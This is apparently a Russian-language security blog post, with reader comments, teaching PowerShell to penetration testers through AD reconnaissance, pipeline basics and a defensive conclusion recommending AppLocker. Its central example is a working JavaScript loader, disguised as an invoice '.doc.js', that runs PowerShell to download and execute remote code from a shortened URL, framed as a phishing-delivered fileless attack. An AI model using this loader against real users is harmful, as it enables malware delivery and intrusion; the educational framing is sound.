Хакеры любят использовать PowerShell для запуска «fileless malware» — бестелесных вредоносных программ, которые не являются традиционными бинарными файлами с компилированным вредоносным кодом, и по этой причине подчас не могут быть обнаружены антивирусными решениями.

PowerShell, конечно же, всегда имел вполне нормальное предназначение, никак поначалу вообще не связанное с тестированием на проникновение. Те из вас, кто захочет узнать предысторию появления на свет PowerShell, должны почитать знаменитый Манифест Монады. Написанный одним из первоначальных разработчиков, этот манифест объясняет, зачем Microsoft потребовался новый язык описания сценариев (проще говоря, скриптов), который в конечном итоге и превратился в PowerShell.

Чтобы избавить вас от необходимости просматривать длиннющий 17-страничный документ, я вам открою главный мотивирующий фактор, побудивший авторов PowerShell: он должен был предоставить системным администраторам доступ к объектам .Net из командной строки, позволив таким образом автоматизировать рабочий процесс на уровне системы, а не на уровне глубокого программирования в C# или C++.

Если вы хотите получить реальные доказательства эффективности PowerShell (далее – PS), спросите своих системных администраторов, как они массово добавляют пользователей в Active Directory или выполняют быструю настройку безопасности. Скорее всего, вы узнаете про решения на PowerShell. Короче говоря: PS — это шикарный способ снижения рутины и повышения производительности для администраторов.

Зачем же использовать PowerShell для пентестов?


К сожалению, то, что так хорошо подходит в качестве мощного инструмента автоматизации для администраторов, в конечном счете оказывается полезным как для хакеров, так и для тестировщиков на проникновение.

Предположим, ИТ-администратору была поставлена задача выяснить, кто на самом деле использует недостаточно загруженный сервер. С помощью PowerShell и библиотеки дополнительных функций PowerView, системный администратор может быстро просматривать пользователей, вошедших на сервер, безнеобходимости быть залогиненным самому на этом сервере:



Тем не менее, злоумышленники, которые ранее получили доступ через фишинговую атаку, также cмогут проделать то же самое, т.к. они могут использовать те же возможности, находясь в домене Active Directory (далее — AD). И их деятельность совсем не обязательно будет обнаружена: ИБ-аналитик, отслеживающий использование приложений, может прийти к выводу, что, поскольку «это просто PowerShell, он должен быть безвредным».

Чтобы усугубить этот пример еще больше, хакеры смогут даже получить всю подробную информацию об отдельных пользователях с помощью команды Get-NetUser, которая сдампит все атрибуты пользователя в AD:



К сожалению, компании подчас небрежно относятся к атрибутам AD, которые они делают общедоступными для всех сотрудников — например, домашний или мобильный телефон, адрес и т.п. До появления PowerShell было намного сложнее собрать все эти данные из AD, но это уже давно не так!

Что злоумышленники могут сделать с этой информацией? Они могут легко воспользоваться способами социальной инженерии и разработать для этого атаку: возможно, отправив
электронное письмо с достаточным количеством личного контекста, полученного из AD-атрибутов, чтобы оно выглядело как легитимный запрос службы поддержки с просьбой «сбросить пароль».

Кстати, вы можете применить контроль ACL и к атрибутам AD, так что есть(!) способ снизить риск атак подобного типа. И это один из тех положительных результатов, которые вы можете получить из собственного опыта по тестированию на проникновение.



Краткий курс PowerShell для пентестеров


С помощью PowerShell злоумышленники могут незаметно собирать внутренние пользовательские данные и затем использовать их в своих атаках. Но нет причин, по которым сотрудники ИТ или ИБ-служб не могут также освоить PowerShell в достаточной степени, чтобы начать собственное тестирование и научиться понимать образ мыслей и мотивы хакера.

Первый приятный момент с PowerShell кроется в том, что все старые скрипты и bat-файлы, которые вы запускали из командной строки cmd.exe по-прежнему работают в консоли PowerShell. Уже неплохо, не правда ли?

Следующим важным моментом является то, что в отличие от Linux-подобных оболочек, PowerShell рассматривает все как объект. Даже вывод команды (задумайтесь только) — это тоже объект.

Например, введите команду Get-ChildItem (или командлет по-другому, так команды называются в мире PS) в консоль, и вы увидите список файлов текущего каталога:



Кодирование с помощью PowerShell


Предположим, вы хотите написать сценарий PS, в котором выводятся только файлы размером свыше 10 МБ — например, чтобы быстро проверить, какие файлы занимают много места. Эта задача будет намного сложнее для решения в строковом выводе, скажем, оболочки bash. Однако, в PowerShell вывод любой команды сам по себе является объектом с набором атрибутов.

Чтобы увидеть это, просто передайте вывод GetChildItem в Get-Member, который сообщит вам атрибуты PS командлета:



Итак, теперь у нас есть идентификаторы для двух интересующих нас атрибутов: длина «length» и название «name», на которые мы можем ссылаться программно. 5 минут — полет нормальный.

Чтобы справиться с частой ситуацией, когда объекты порой находятся в массивах или коллекциях, мы будем использовать PS-оператор ForEach для итерации по массиву.

Чтобы сделать вещи еще проще, псевдоним или альяс "%" означает «ForEach», а "$_«представляет текущий объект.

Выполнение команд с помощью PowerShell


Давайте получим наши два столбца вывода из команды GetChildItem на основе наших новых знаний. Пример ниже представляет собой конвейер с Get-ChildItem, подающий ввод на оператор ForEach, который выводит только значения атрибутов „length“ и „name“:

get-childitem | % {write-host $_.length $_.name -separator
"`t`t"}

И вот результат запуска команд:



Чтобы закончить наш шикарный пример, давайте донастроим наш скрипт, чтобы выводить только большие файлы, скажем, больше 10МБ. Для этого мы используем фильтр, известный как командлет Where-Object с удобным псевдонимом »?". Он имеет все обычные операторы сравнения (-gt, -eq, -lt, и т.д.). Мы вставляем его в середину конвейера и наш скрипт теперь выглядит так:

 get-ChildItem | ? {$_.length –gt 10000000 | % {write-host$_.length $_.name -separator "`t`t"}

В качестве упражнения попробуйте запустить вышеуказанное PS-творение в своей собственной среде.

Пособие: Пример тестирования на проникновение на PowerShell


С этим небольшим опытом работы в PowerShell мы готовы взяться за вполне реальный пример пентеста. Один из самых быстрых способов попасть в пентестинг — это использовать PowerShell для сокрытия полезной нагрузки. Мы писали о том, как это сделать здесь.

Идея состоит в том, чтобы спрятать наш код PowerShell в стандартный офисный документ с суффиксом .doc. На самом деле, файл будет иметь расширение .js, и при нажатии активирует запуск сценария Windows для запуска JavaScript, который уже затем запустит встроенный код PowerShell.

Немного сбивает с толку, верно? Но реальные хакеры используют не один, а несколько уровней вложенности и обфускации, чтобы максимально скрыть и запутать свою атаку.

Подготовка загрузчика и полезной нагрузки


Вот как выглядит скрипт:

a=new ActiveXObject('Wscript.Shell');a.Run("powershell -nop -noe -Command IEX (New-Object System.Net.WebClient).DownloadString('https://tinyurl.com/y5nupk4e')",1,true);

Вы вставляете приведенный выше код в текстовый файл и переименовываете его в что-то вроде Счет-фактура.doc.js. Приведенный выше JavaScript действует как загрузчик, который запускается с помощью встроенных командлетов PowerShell NetWebClient и Invoke-Expression, которые сами по себе псевдонимы с "%".

Метод DownloadString из командлета NetWebClient удаленно извлекает фактическую полезную нагрузку, которая в конечном итоге сделает за нас всю грязную работу.

Вы можете вставить свой URL-адрес, указывающий на вашу собственную тестовую программу. Ну а командлет Invoke-Expression принимает на вход код нашего вредоносного файла и затем выполняет его.

Проверьте это!


В моем случае URL-адрес указывает на проект Github, содержащий простую команду PS Write-Host, которая выведет на экран безвредное, но важное сообщение для всего человечества. В реальной атаке файл такого сценария вполне может быть прикреплен к фишинговой рассылке, которая заманит ничего не подозревающего сотрудника в капкан любопытности. И полезная нагрузка будет гораздо более разрушительной.



Вы можете попробовать это на своей собственной установке. И если все рассмотренное выше успешно заработает, то у вас есть еще одно срочное и важное задание, которое непременно необходимо проделать.

Преимущества тестирования на проникновение




Это приводит нас к причинам, по которым мы делаем тестирование на проникновение. Вот три реальных преимущества, которые первыми приходят на ум:

  1. Изучая команды PowerShell как пентестер, вы поймете, как хакеры «взламывают» этот чудесный язык сценариев следующего поколения. Просто обдумайте комбинацию метода DownloadString и Invoke-Expression, позволяя злоумышленникам извлекать удаленный вредоносный код на сайт жертвы без необходимости его промежуточного сохранения.
  2. Это упражнение также подчеркивает скрытность современного хакера. Я показал в приведенном выше примере схему атаки, которая не оставляет никаких файлов вокруг. Таким образом, вы не можете использовать стандартные методы на основе сигнатур для надежного обнаружения атаки, выполненной с помощью PowerShell. Банально, у нас нет самой сигнатуры вредоносного ПО для сравнения.
  3. Вы, вероятно, начнете изучать способы ограничения PowerShell и других методов на основе сценариев. В конце концов, атака начинается со скрипта, поэтому, если компании затрудняют запуск скриптов, они смогут значительно сократить свой профиль риска.

Позвольте мне подробнее остановиться на последнем пункте. Вы, скорее всего, не захотите полностью запрещать PowerShell (или JavaScript), так как это фундаментальная часть системного программного обеспечения Windows. К счастью, у Microsoft есть способ выборочно отключать сценарии (и другие исполняемые файлы) через AppLocker , улучшенную версию старых Политик Ограничения Программного обеспечения (Software Restriction Policies) в современных Групповых Политиках (GPO).

Это может показаться невероятным для технических специалистов, но большинству обычных пользователей не нужен PowerShell или другие скриптовые языки для выполнения своей повседневной работы. Это, конечно же, шокирует, я знаю! AppLocker, например, возможно настроить для отключения доступа PowerShell для масс, при этом позволяя системным администраторам по-прежнему выполнять свою тяжелую работу.

Атаки на основе скриптов, в том числе связанные с вложением в электронную почту, рассчитывают на то, что администраторы, как правило, предоставляют сотрудникам чрезмерно широкие разрешения на скрипты. А это не должно быть так!

Комментарии (13)


  1. aliend
    14.10.2019 16:14

    В моей практике имеется курьезный случай, когда сотрудники информационной безопасности "продавили" принудительную установку PS последней версии на все серверы (2008 R2) и рабочие станции (7), мотивируя это в том числе и наличием "расширенного аудита командной строки" powershell. В то время мои администраторы легко обходились без PS, но инфобезы не могли воплотить в жизнь результаты очередного своего курса повышения квалификации. Вопрос — зачем в инфраструктуре разворачивать возможный backdoor — остался без вразумительного ответа. Вот такой вот насильственный прогресс.


    1. Varonis Автор
      14.10.2019 16:25

      Интересная история, спасибо, что поделились!


    1. tualantin
      14.10.2019 16:41

      И в 2008R2 и уж тем более в 7, powershell стоит по умолчанию, так что по вашей логике бэкдор уже есть. А наличие аудита введенных команд и скриптов это азбука ИБ.


      1. aliend
        14.10.2019 17:05

        Версия PS из коробки (2, если не ошибаюсь) в WS2008R2/7 как раз и не позволяла делать все эти веселые трюки, описанные в статье. Поправьте меня, если ошибаюсь.


        1. tualantin
          14.10.2019 17:17

          v2 без проблем использует весь арсенал .NET, VBscipt, Wscript, WMI и т.д., а там уже дело техники т.е. все веселье доступно и в ней.


        1. Varonis Автор
          14.10.2019 17:43

          2008R2 действительно шёл с PS version 2, только его поддержка заканчивается уже в январе 2020 года и в связи с этим в корпоративном сегменте использоваться, скорее всего, больше не будет.


    1. The_Kf
      15.10.2019 20:11

      И правильно говорили — действительно для аудита безопасности — полезная штука. Особенно, если журналы в он-лайн режиме выгружать.


  1. rrust
    14.10.2019 19:56

    повершелл мне нравится, особенно тем что в C# прогу можно интегрировать Powershell и наоборот. Что на Powershell можно реализовать полноценный GUI на Winforms или WPF и тогда для юзера вообще не видно разницы между C# .exe и .PS1
    Я конечно не спец, но вообще так можно подумать, что это повершелл виноват в том, что юзер может что-то случайно скачать и запустить из интернета. И вообще то, что не остаются на диске файлы начального загрузчика, ничего принципиально не меняет. Если уж юзер каким-то образом был спровоцирован что-то скачать и запустить, то запрет повершелла или других скриптовых языков никак не помешает зловреду поселиться в системе и собирать доступные данные из AD/LDAP.
    Вот отсутствие админских прав у юзера сильно мешает дальнейшей атаке на сеть. Остается ждать админских прав. А настоящее счастье будет если после получения админских прав на компе, залогинится чел с правами на сервера или даже на домен. Вот ограничение юзерских прав, разделение юзерских и админских аккаунтов, чтобы использовать юзерские аккаунты для работы на юзерских компах, а админских аккаунтов для работы на серверах и ни в коем случае на юзерском компе, может дать больший эффект для защиты конторы.


  1. Neveil
    14.10.2019 23:26

    К сожалению, для Applocker требуется Windows Enterprise, а SRP очень сложно правильно настроить без ложных срабатываний. Ситуация усугубляется невозможностью рекурсивных правил по маске с работой обычных правил по пути к папке.


  1. Sanctuary_s
    15.10.2019 13:00

    Опечатка в

    New-ObjectSystem.Net.WebClient
    Пробел нужен. :)


    1. Varonis Автор
      15.10.2019 15:42

      спасибо, исправили!


      1. enrichment
        16.10.2019 09:48

        get-ChildItem | ? {$_.length –gt 10000000 | % {write-host$_.length $_.name -separator "`t`t"}


        Не хватает пробела и "}" :-)


        1. Sanctuary_s
          16.10.2019 10:07

          Да и вообще по «канонам» лучше не сокращать так адово все.

          Get-ChildItem -Path | Where-Object -FilterScript {$_.Length –gt 10000000} | ForEach-Object -Process {Write-Host $_.Length $_.Name -Separator "`t`t"}
          


          Также удобнее. :)